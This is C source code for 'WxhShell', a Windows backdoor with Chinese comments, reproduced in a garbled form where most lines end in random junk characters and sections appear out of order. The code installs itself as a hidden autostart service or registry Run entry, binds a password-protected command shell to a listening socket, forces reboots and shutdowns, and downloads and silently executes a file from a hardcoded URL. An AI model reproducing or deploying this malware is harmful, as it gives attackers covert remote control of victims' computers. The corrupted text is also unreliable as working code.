    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<UX^hU   
    else { O [v(kH'  
    closesocket(wsh); ;@ lC08SE  
    ExitThread(0); Gz@/:dW^vZ  
    } GZk{tTv  
    break; qTi%].F"G  
    } SVj4K \F  
  // 获取shell @o4n!Ip2x/  
  case 's': { 2:tO"   
    CmdShell(wsh); 8V(-S,  
    closesocket(wsh); $<v{$UOh  
    ExitThread(0); $5S/~8g(  
    break; 8*m=U@5]  
  } x9B5@2J1  
  // 退出 V{+5Fas^l  
  case 'x': { iIO_d4Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &HIG776  
    CloseIt(wsh); U1~6o"1H  
    break; +u]L# ].;  
    } HVkq{W|w  
  // 离开 %MUh_63bB  
  case 'q': { @-H D9h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ tO:,%dL  
    closesocket(wsh); (Aw!K`0Y1  
    WSACleanup(); Q~S3d  
    exit(1); 4M{]YZMw8  
    break; 6$_//  
        } A.>TD=Nz  
  } F` "bMS  
  } qGH\3g-  
)7TuV"  
  // 提示信息 \o2cztl=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NAt; r  
}  :bBMy\(u  
  } SXx;- Ws  
3Z-N*bhC  
  return; $S_G:}tna  
} > cM}M=4s  
ewD=(yr  
// shell模块句柄 -lNT"9  
int CmdShell(SOCKET sock) cs6I K6wo  
{ ~n )<L7  
STARTUPINFO si; zv[pfD7a  
ZeroMemory(&si,sizeof(si)); +4--Dl?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MTUJsH\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .GH#`j  
PROCESS_INFORMATION ProcessInfo; R<FW?z*  
char cmdline[]="cmd"; +Oa+G.;)o4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NP< {WL#  
  return 0; OZed+t=  
} [Adkj  
QH.zsqf(  
// 自身启动模式 t!JD]j>q  
int StartFromService(void) >wJt# ZB  
{ (HD=m, }  
typedef struct [H&Z / .{F  
{ ];VJ54  
  DWORD ExitStatus; "O j2B|:s&  
  DWORD PebBaseAddress; 6-vQQ-\  
  DWORD AffinityMask; B9Y*'hmI  
  DWORD BasePriority; F3 z:|sTqc  
  ULONG UniqueProcessId; "- XJZ;5  
  ULONG InheritedFromUniqueProcessId; NwB;9ZhZ  
}   PROCESS_BASIC_INFORMATION; ,oS<9kC68  
2\, h "W(  
PROCNTQSIP NtQueryInformationProcess; lhRo+X#G  
w=MiJr#3^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %L;;W,l$`)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U{%N.4:   
wdzZ41y1  
  HANDLE             hProcess; Y]-7T-*+t  
  PROCESS_BASIC_INFORMATION pbi; +rcDA|  
U~1jmxE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5^+QTQ  
  if(NULL == hInst ) return 0; (iO8[  
9u2Mra  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c[RkiV3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `SH#t3 5,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^KO=8m( )J  
Jkq?wpYp  
  if (!NtQueryInformationProcess) return 0; Q@"mL  
5(V'<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O!=ae|  
  if(!hProcess) return 0; pg:1AAhT[  
="=Aac#n`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vx&r  
~:M"JNcs  
  CloseHandle(hProcess); |wYOO(!  
B^C!UWN>%X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T~" T%r  
if(hProcess==NULL) return 0; d9>k5!  
rs?"pGz;  
HMODULE hMod; K)!Nf.r$9  
char procName[255]; %e,X7W`'2  
unsigned long cbNeeded; VM[U&g<8n  
knU=#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;[}<xw3):  
.o?"=Epo  
  CloseHandle(hProcess); \gE6KE<?p  
u(92y]3,  
if(strstr(procName,"services")) return 1; // 以服务启动 :6}y gL*i  
A tU!8Z  
  return 0; // 注册表启动 L@t}UC  
} n fU\l<  
B}y`E <  
// 主模块 !J@!P?0. C  
int StartWxhshell(LPSTR lpCmdLine) /18VQ  
{ P pF"n[j  
  SOCKET wsl; O?I~XM'S  
BOOL val=TRUE; ">V.nao  
  int port=0; TtZ '~cGR  
  struct sockaddr_in door; bw\a\/Dw  
eJv_`#R&Of  
  if(wscfg.ws_autoins) Install(); )n&@`>vm  
+zz\*  
port=atoi(lpCmdLine); ?-g/hXx;  
dLq)Z*r  
if(port<=0) port=wscfg.ws_port; l0%qj(4`6&  
N-g=_86C"  
  WSADATA data; [LHx9(,NM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & &\HE7*  
O=C z*j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |re>YQ!zd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RO?%0-6O&  
  door.sin_family = AF_INET; -(Y(K!n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Gk?f=e  
  door.sin_port = htons(port); (g8<"< N?  
=ZaTD-%id  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ee0)%hc1t  
closesocket(wsl); (4WAoye|  
return 1; 3TDjWW;#~  
} @TTB$  
}%;o#!<N(@  
  if(listen(wsl,2) == INVALID_SOCKET) { V&75n.L  
closesocket(wsl); (6*CORE   
return 1; r- :u*  
} 8LMO2Wyq  
  Wxhshell(wsl); uIO<6p)  
  WSACleanup(); }{(dG7G+  
1oSrhUTy  
return 0; $%3"@$  
? !dy  
} DnZkZ;E/  
s$,gM,|cK  
// 以NT服务方式启动 #J,?oe=<4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N5SePA\ ,?  
{ T|{1,wP  
DWORD   status = 0; VW[!%<  
  DWORD   specificError = 0xfffffff; ("7rjQjRz  
P&s-U6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yi*2^??` 1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; el;eyGa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #Pf?.NrTn  
  serviceStatus.dwWin32ExitCode     = 0; "GTlJqhk  
  serviceStatus.dwServiceSpecificExitCode = 0; _8f? H#&  
  serviceStatus.dwCheckPoint       = 0; VT;Vm3\  
  serviceStatus.dwWaitHint       = 0; *x;&fyR  
+@ FM~q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]hPu  
  if (hServiceStatusHandle==0) return; ka^sOC+Y  
m@z.H;  
status = GetLastError(); ^4\h Z  
  if (status!=NO_ERROR) c8^M::NI  
{ $@[`v0y*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c89+}]mGq  
    serviceStatus.dwCheckPoint       = 0; ds*N1[ *  
    serviceStatus.dwWaitHint       = 0; xDU{I0M  
    serviceStatus.dwWin32ExitCode     = status; 4NY}=e5  
    serviceStatus.dwServiceSpecificExitCode = specificError; >+ P5Zm(_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jOYa}jm?  
    return; X &z|im'd  
  } @]rl2Qqe  
nF Mc'm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -Dx_:k|k  
  serviceStatus.dwCheckPoint       = 0; \x,q(npHi  
  serviceStatus.dwWaitHint       = 0; {c;][>l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r? w^#V  
} i1OF @~?  
E=-ed9({:  
// 处理NT服务事件,比如:启动、停止 cQ?eL,z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7j ]d{lD  
{ +4N7 _Y  
switch(fdwControl) mip2=7M|C  
{ r\+0J`  
case SERVICE_CONTROL_STOP: 6dCS Gb  
  serviceStatus.dwWin32ExitCode = 0; /3VSO"kcZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "x+o(jOy  
  serviceStatus.dwCheckPoint   = 0; 1^x "P#u  
  serviceStatus.dwWaitHint     = 0; #s\HiO$BT  
  { v `a:Lj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X#|B*t34  
  } 7<T1#~w4L  
  return; Q=,6W:j  
case SERVICE_CONTROL_PAUSE: R7q\^Yzo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vG{+}o#  
  break; ,u:J"epM  
case SERVICE_CONTROL_CONTINUE: &tAhRMa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <K(qv^C  
  break; t+ ,'  
case SERVICE_CONTROL_INTERROGATE: *v' d1.Z  
  break; @Nm;lZK  
}; kXfTNMb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kkyi`_ZKn  
} 6cF~8  
]~Su  
// 标准应用程序主函数 Aa.eu=@I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *t)Y@=k3>  
{ J@Qt(rRxi  
\-]zXKl2k  
// 获取操作系统版本 ?=bqya"Y  
OsIsNt=GetOsVer(); va>u1S<lO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o*[n[\cR  
kK0.j)(  
  // 从命令行安装 Q|DVB  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ap :mc:  
wb#ZRmx}  
  // 下载执行文件 e2~$=f-  
if(wscfg.ws_downexe) { O ;34~k   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @%oHt*u  
  WinExec(wscfg.ws_filenam,SW_HIDE); X6hp}  
} Skb d'j  
_+OnH!G0  
if(!OsIsNt) { qM$4c7'4P6  
// 如果时win9x,隐藏进程并且设置为注册表启动 zeHf(N  
HideProc(); A>?_\<Gp  
StartWxhshell(lpCmdLine); j5rB+  
} am'11a@*  
else TbUouoc  
  if(StartFromService()) xF#'+Y  
  // 以服务方式启动 H n^)Xw  
  StartServiceCtrlDispatcher(DispatchTable); *&=sL  
else u . xUM  
  // 普通方式启动 sbju3nvk  
  StartWxhshell(lpCmdLine); W<QMUu  
q)m0n237P  
return 0; RjcU0$Hi  
} /:+f5\"-b  
fLtN-w6t  
i7%v2_  
B2R^oL' }  
=========================================== uIvAmc4  
|#>:@{X<  
Xxz_h*  
>!U oS  
`GBa3  
'4"9f]:  
" mm l`,t8  
DL t"cAW  
#include <stdio.h> FQ3{~05T  
#include <string.h> |[ )e5Xhd  
#include <windows.h> b-`=^ny)K  
#include <winsock2.h> sa7F-XM  
#include <winsvc.h> 2`[iTBZ=^  
#include <urlmon.h> c SV`?[a  
7K5D,"D;1  
#pragma comment (lib, "Ws2_32.lib") 9GV1@'<Y]  
#pragma comment (lib, "urlmon.lib") Qf>$'C(7!a  
'o!{YLJ fM  
#define MAX_USER   100 // 最大客户端连接数 _x2i=SFo*$  
#define BUF_SOCK   200 // sock buffer Mur)'  
#define KEY_BUFF   255 // 输入 buffer o4zX 41W  
9tMaOm  
#define REBOOT     0   // 重启 ^%qe&Pe2  
#define SHUTDOWN   1   // 关机 :pp@x*uNP  
9sgyg3fv>5  
#define DEF_PORT   5000 // 监听端口 pGsk[.  
k6}M7 &nY  
#define REG_LEN     16   // 注册表键长度 Fad.!%[  
#define SVC_LEN     80   // NT服务名长度 mRNA,*  
&P0jRT3e#Y  
// 从dll定义API ]U,c`?[7#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X%Lhu6F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t)i{=8 rq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $M0F~x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  UZV\]Y  
qdOUvf  
// wxhshell配置信息 lB(E:{6OZ  
struct WSCFG { qDV t  
  int ws_port;         // 监听端口 @mJ# ~@*(  
  char ws_passstr[REG_LEN]; // 口令 e2dg{n$6"  
  int ws_autoins;       // 安装标记, 1=yes 0=no f i_'Ny>#  
  char ws_regname[REG_LEN]; // 注册表键名 r=J+  
  char ws_svcname[REG_LEN]; // 服务名 R/O>^s!Co  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !bq3c(d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qms,kX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QMz6syn4u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vg"$&YX9"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z w`9B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :kU-ol$  
#H5i$ o  
}; Fmd^9K  
(*K=&e0O  
// default Wxhshell configuration ?=dp]E{  
struct WSCFG wscfg={DEF_PORT, MB!_G[R  
    "xuhuanlingzhe", [wO|P{8\"  
    1, na4^>:r~  
    "Wxhshell", u^ 3,~:E  
    "Wxhshell", JQ~[$OGH  
            "WxhShell Service", QF74'  
    "Wrsky Windows CmdShell Service", S=@bb$4-T  
    "Please Input Your Password: ", 7;i [  
  1, dc+U #]tS  
  "http://www.wrsky.com/wxhshell.exe", WSKubn?7B  
  "Wxhshell.exe" XH`W(  
    }; zgnZ72%  
Bs!F |x(  
// 消息定义模块 qj #C8Tc7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z*w.A=r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _X6@.sM/2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TS Ev^u)3  
char *msg_ws_ext="\n\rExit."; j`o_Stbg  
char *msg_ws_end="\n\rQuit."; <Crbc$!OeX  
char *msg_ws_boot="\n\rReboot..."; F*, e,s  
char *msg_ws_poff="\n\rShutdown..."; GL^84[f-T  
char *msg_ws_down="\n\rSave to "; #1z/rUh`Cr  
 T1\@4x  
char *msg_ws_err="\n\rErr!"; yW)&jZb"(  
char *msg_ws_ok="\n\rOK!"; 99YgQ Y]HO  
{2v,J]v_[  
char ExeFile[MAX_PATH]; Ds<~JfVl  
int nUser = 0; +I>V9%%vW_  
HANDLE handles[MAX_USER]; $[xS>iuD  
int OsIsNt; r1A<XP|1?I  
Pl\r|gS;  
SERVICE_STATUS       serviceStatus; QUO'{;,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yf?hl  
51Q m2,P1^  
// 函数声明 GD -cP5$  
int Install(void); Zn{Y+ce7d  
int Uninstall(void); B'D\l\w  
int DownloadFile(char *sURL, SOCKET wsh); Gv+$7{  
int Boot(int flag); ;xQNa}"V  
void HideProc(void); >>b <)?3Rv  
int GetOsVer(void); c.eUlr_ {  
int Wxhshell(SOCKET wsl); Py~1xf/  
void TalkWithClient(void *cs); 5kx-s6 `!  
int CmdShell(SOCKET sock); !x$6wzKa  
int StartFromService(void); r^v1_u, 1I  
int StartWxhshell(LPSTR lpCmdLine); oO4hBM([  
:?P>))vT%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G&z^AV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q\n,/#'i~  
kc7,F2=F  
// 数据结构和表定义 t8ZzBD!dP  
SERVICE_TABLE_ENTRY DispatchTable[] = f6])M)  
{ 8svN*`[  
{wscfg.ws_svcname, NTServiceMain}, [lz#+~rOS  
{NULL, NULL} \n<9R8g5  
}; m FgrT  
Z'!i"Jzq|{  
// 自我安装 ?_t_rF(?6  
int Install(void) :lBw0{fP  
{ )C>8B`^S  
  char svExeFile[MAX_PATH]; #;])/8R%  
  HKEY key; >n"4M~I  
  strcpy(svExeFile,ExeFile); [e f&|Pi-  
^iqy|zNtn  
// 如果是win9x系统,修改注册表设为自启动 s`2q(`}  
if(!OsIsNt) { :LxsiDrF[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EpCF/i?9:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C7=N`s}  
  RegCloseKey(key); ,.z?=]'en  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NA!?.zn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eqSCE6r9x  
  RegCloseKey(key); qx1+'  
  return 0; ^e{]WH?  
    } L-DL)8;`  
  } fl}! V4  
} ZKTY1JW_  
else { 8.zYa(< 2  
}Y!v"DO#Q*  
// 如果是NT以上系统,安装为系统服务 \k9]c3V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M)"'Q6ck=  
if (schSCManager!=0) @gnLY  
{ jR2^n`D  
  SC_HANDLE schService = CreateService odTa 2$O  
  ( .G-L/*&%  
  schSCManager, <)a7Nrc\T  
  wscfg.ws_svcname, x8o/m$[,=u  
  wscfg.ws_svcdisp, ?3y>K!D(A  
  SERVICE_ALL_ACCESS, ]NyN@9u@(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ke^9R-jP  
  SERVICE_AUTO_START, Vtv~jJ{m  
  SERVICE_ERROR_NORMAL, ]YrgkC35  
  svExeFile, 9T_fq56Oh6  
  NULL, rtdEIk  
  NULL,  Pm"nwm  
  NULL,  OK(xG3T  
  NULL, ~X(2F#{<{  
  NULL L0;XzZ S  
  ); ~5o2jTNy`p  
  if (schService!=0) F<4>g+Ag  
  { D]twid~OS  
  CloseServiceHandle(schService); K]&i9`>N   
  CloseServiceHandle(schSCManager); }Ud'j'QMy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ce/D[%  
  strcat(svExeFile,wscfg.ws_svcname); /V }Z,'+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FA{'Ki`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); meYGIP:n  
  RegCloseKey(key); v, !`A!{D  
  return 0; *G8Z[ht%r  
    } R0urt  
  } Py\/p Fvg  
  CloseServiceHandle(schSCManager); 5fy{!  
} a$3] `  
} quS]26wQz  
i1 c[Gk.o  
return 1; wpD}#LRfm  
} eExI3"|Q  
x^Zm:Jrw~  
// 自我卸载 48_( 'z*>  
int Uninstall(void) }.D adV  
{ XZ<8M}Lg  
  HKEY key; :Bi 4z(  
tB`IBuy9!"  
if(!OsIsNt) { i_:#][nWX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {^?:-#~h  
  RegDeleteValue(key,wscfg.ws_regname); d~q7!  
  RegCloseKey(key); (6i4N2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +k V$ @qH  
  RegDeleteValue(key,wscfg.ws_regname); 7- |N&u  
  RegCloseKey(key); LRR)T: e}q  
  return 0; kP1cwmZ7F  
  } a4 mRu|x  
} q ,+29  
} ; o(:}d  
else { Y?- "HK:  
uANpqT}!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TQykXZ2Yb)  
if (schSCManager!=0) '$[a-)4  
{ n72kJ3u.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &7 9F Uac  
  if (schService!=0) >D Ai-`e  
  { ]GDjR'[z  
  if(DeleteService(schService)!=0) { s@p:XO  
  CloseServiceHandle(schService); {I/t3.R`  
  CloseServiceHandle(schSCManager); "jf_xZ$H-  
  return 0; to?={@$]  
  } 3 bT?4  
  CloseServiceHandle(schService); V`rxjv}!  
  } e?N3&ezp  
  CloseServiceHandle(schSCManager); Z4g<Ys*  
} xwj{4fzpk{  
}  `)>}b 3  
$h[Q }uW  
return 1; >-y}t9[/  
} Rq`5ff3,  
`Ue5;<K-/  
// 从指定url下载文件 j Y(|z*|  
int DownloadFile(char *sURL, SOCKET wsh) ]MC5 uKn  
{ [ #fz [U  
  HRESULT hr; k\RS L  
char seps[]= "/"; EHfB9%O7y  
char *token; R 5\|pC  
char *file; FD5OO;$  
char myURL[MAX_PATH]; >3}N;  
char myFILE[MAX_PATH]; /]of @  
^a$L9p(  
strcpy(myURL,sURL); 8tO.o\)h  
  token=strtok(myURL,seps); q{+}0!o  
  while(token!=NULL) L\R(//V  
  { 4>/i,_&K K  
    file=token; xZ(d*/6E  
  token=strtok(NULL,seps); 53?Ati\Y)  
  } mC3:P5/c  
R,fAl"wMu  
GetCurrentDirectory(MAX_PATH,myFILE); "bz.nE*  
strcat(myFILE, "\\"); 03_M+lv  
strcat(myFILE, file); +|H,N7a<  
  send(wsh,myFILE,strlen(myFILE),0); GiKhdy  
send(wsh,"...",3,0); ""m/?TZq'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0<##8m@F8  
  if(hr==S_OK) ' Er\ 68  
return 0; wh!8\9{g  
else ZZ/k7(8  
return 1; Y~w1_>b  
:  @$5M  
} $LG.rJ/*  
ENI|e,'[  
// 系统电源模块 |XMWi/p  
int Boot(int flag) ,!X:wY}dW  
{ ["e;8H[K)%  
  HANDLE hToken; umt`0m. :  
  TOKEN_PRIVILEGES tkp; ,(]k)ym/  
.KtK<Ps[S  
  if(OsIsNt) { wL}X~Xa3i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~qX wQ@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )\7Cp-E-W  
    tkp.PrivilegeCount = 1; h,6> ^A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SwaMpNXL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); phB d+zQc  
if(flag==REBOOT) { m_FTg)_=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 93ggCOaYA  
  return 0; c[$i )\0  
} )|#ExyRO  
else { cQsSJBZ[v5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]:m4~0^#-(  
  return 0; m>?|*a,  
} N`qGwNT%G  
  } 16Jjf|]j  
  else { FC  
if(flag==REBOOT) { N34bB>_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d[*NDMO  
  return 0; :&LV^ A  
} "ZA`Lp;%w  
else { _ q AT%.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~f( #S*Ic  
  return 0; T5}5uk9  
} cVYu(ssC4  
} $"k1^&&E  
%NfH`%`  
return 1; 02)Ybp6y  
} /iJsa&W}  
2sVDv@2  
// win9x进程隐藏模块 ?}S!8;d  
void HideProc(void) c8HETs1  
{ wUfPnAD.'  
E^m)&.+'M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /<dl"PWkJv  
  if ( hKernel != NULL ) O;T)u4Q&3  
  { %eGD1.R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M'oQ<,yW-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xn5LrLM&  
    FreeLibrary(hKernel); uax kGEXr  
  } j 20m Z  
) q/brCq  
return; 2vddx<&  
} dj}P|v/;z  
)Y"t$Iw"  
// 获取操作系统版本 `6LV XDR  
int GetOsVer(void) G^SDB!/@J  
{ NE3/>5  
  OSVERSIONINFO winfo; '#~Sb8   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z6h/C {  
  GetVersionEx(&winfo); <y"lL>JR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;=@?( n  
  return 1; &(jt|?{  
  else ''k}3o.K[  
  return 0; ha9 d z  
}  (C%qA<6  
QkLcs6)R  
// 客户端句柄模块 NH1ak(zHW  
int Wxhshell(SOCKET wsl) y5Fgf3P@ju  
{ LmUR@ /V Q  
  SOCKET wsh; ,S~A]uH'  
  struct sockaddr_in client; 4 XGEw9`3  
  DWORD myID; AboRuHQ  
fSGaUBiq}  
  while(nUser<MAX_USER) Fl"LK:)  
{ #vViEBVeN  
  int nSize=sizeof(client); g Eq6[G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a t=;}}X  
  if(wsh==INVALID_SOCKET) return 1; e`)zR'As  
52F3r:Rk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B74]hgK  
if(handles[nUser]==0) Hl8\*#;C&>  
  closesocket(wsh); kq(]7jU$[  
else B0gs<E  
  nUser++; $c LZ,N24  
  } 6^FUuj.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lo" s12fr  
=H^~"16  
  return 0; (: mF+%(  
} JqEo~]E]  
#rp)Gc  
// 关闭 socket 2#' "<n,G  
void CloseIt(SOCKET wsh) y@Td]6|f  
{ 6']WOM#  
closesocket(wsh); qVd s 2  
nUser--; )Rj?\ZUR  
ExitThread(0); cO-^#di  
} 0_t9;;y :  
[&zSYmDk  
// 客户端请求句柄 *P`k|-  
void TalkWithClient(void *cs) SW HiiF@  
{ *O-m:M!eA  
yzXS{#\  
  SOCKET wsh=(SOCKET)cs; fOk(ivYy  
  char pwd[SVC_LEN]; b'RBel;W  
  char cmd[KEY_BUFF]; 0iz\<' p  
char chr[1]; !T}R=;)e h  
int i,j; *4l6+#W  
"2T* w~V&y  
  while (nUser < MAX_USER) { 0 Gq<APtr  
&*~_ "WyU  
if(wscfg.ws_passstr) { ^n\g,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Q|ACNpYM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1NK,:m  
  //ZeroMemory(pwd,KEY_BUFF); 3:b5#c?R-  
      i=0; 4c.!^EiV  
  while(i<SVC_LEN) { s]xn&rd_  
`>0(N.'T  
  // 设置超时 |Lc.XxBkc  
  fd_set FdRead; Nm3CeU  
  struct timeval TimeOut; B<,AI7  
  FD_ZERO(&FdRead); YH-W{].  
  FD_SET(wsh,&FdRead); qc6d,z/  
  TimeOut.tv_sec=8; \u6/nvZ]N  
  TimeOut.tv_usec=0; 6{ pg^K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jYW-}2L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iF"kR]ZL  
FXid=&T@0D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mEV@~){  
  pwd=chr[0]; rwAycW7  
  if(chr[0]==0xd || chr[0]==0xa) { lK#uya g  
  pwd=0; T lB+ tV>  
  break; 0'R}'  
  } YRj"]= 5N  
  i++; Wix4se1Ac  
    } e ,A9N%M  
@%6"xnb `  
  // 如果是非法用户,关闭 socket ?C_Y2JY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]yas]5H   
} So#>x5dL  
z>spRl,dr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >W'"xK|:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d*:J0J(  
PB@jh}  
while(1) { p{w;y6e  
,){WK|_  
  ZeroMemory(cmd,KEY_BUFF); &GI'-i  
RP 6hw|  
      // 自动支持客户端 telnet标准   Ia>~ph#]{`  
  j=0; :) T#.(mR  
  while(j<KEY_BUFF) { gy/bA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IZZ $p{  
  cmd[j]=chr[0]; ,*;g+[Bhpl  
  if(chr[0]==0xa || chr[0]==0xd) { ~&+8m=   
  cmd[j]=0; G\*`%B_ n  
  break; A)nE+ec1  
  } n5?7iU&JIo  
  j++; prVqV-S6TY  
    } ;oRgg'k<  
smuQ1.b  
  // 下载文件 byJ[1UK  
  if(strstr(cmd,"http://")) { , L8(Vo`-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ewo6Q){X  
  if(DownloadFile(cmd,wsh)) gq)uv`3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R78lV -};Q  
  else v0+$d\mP4<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hj3wxH.}  
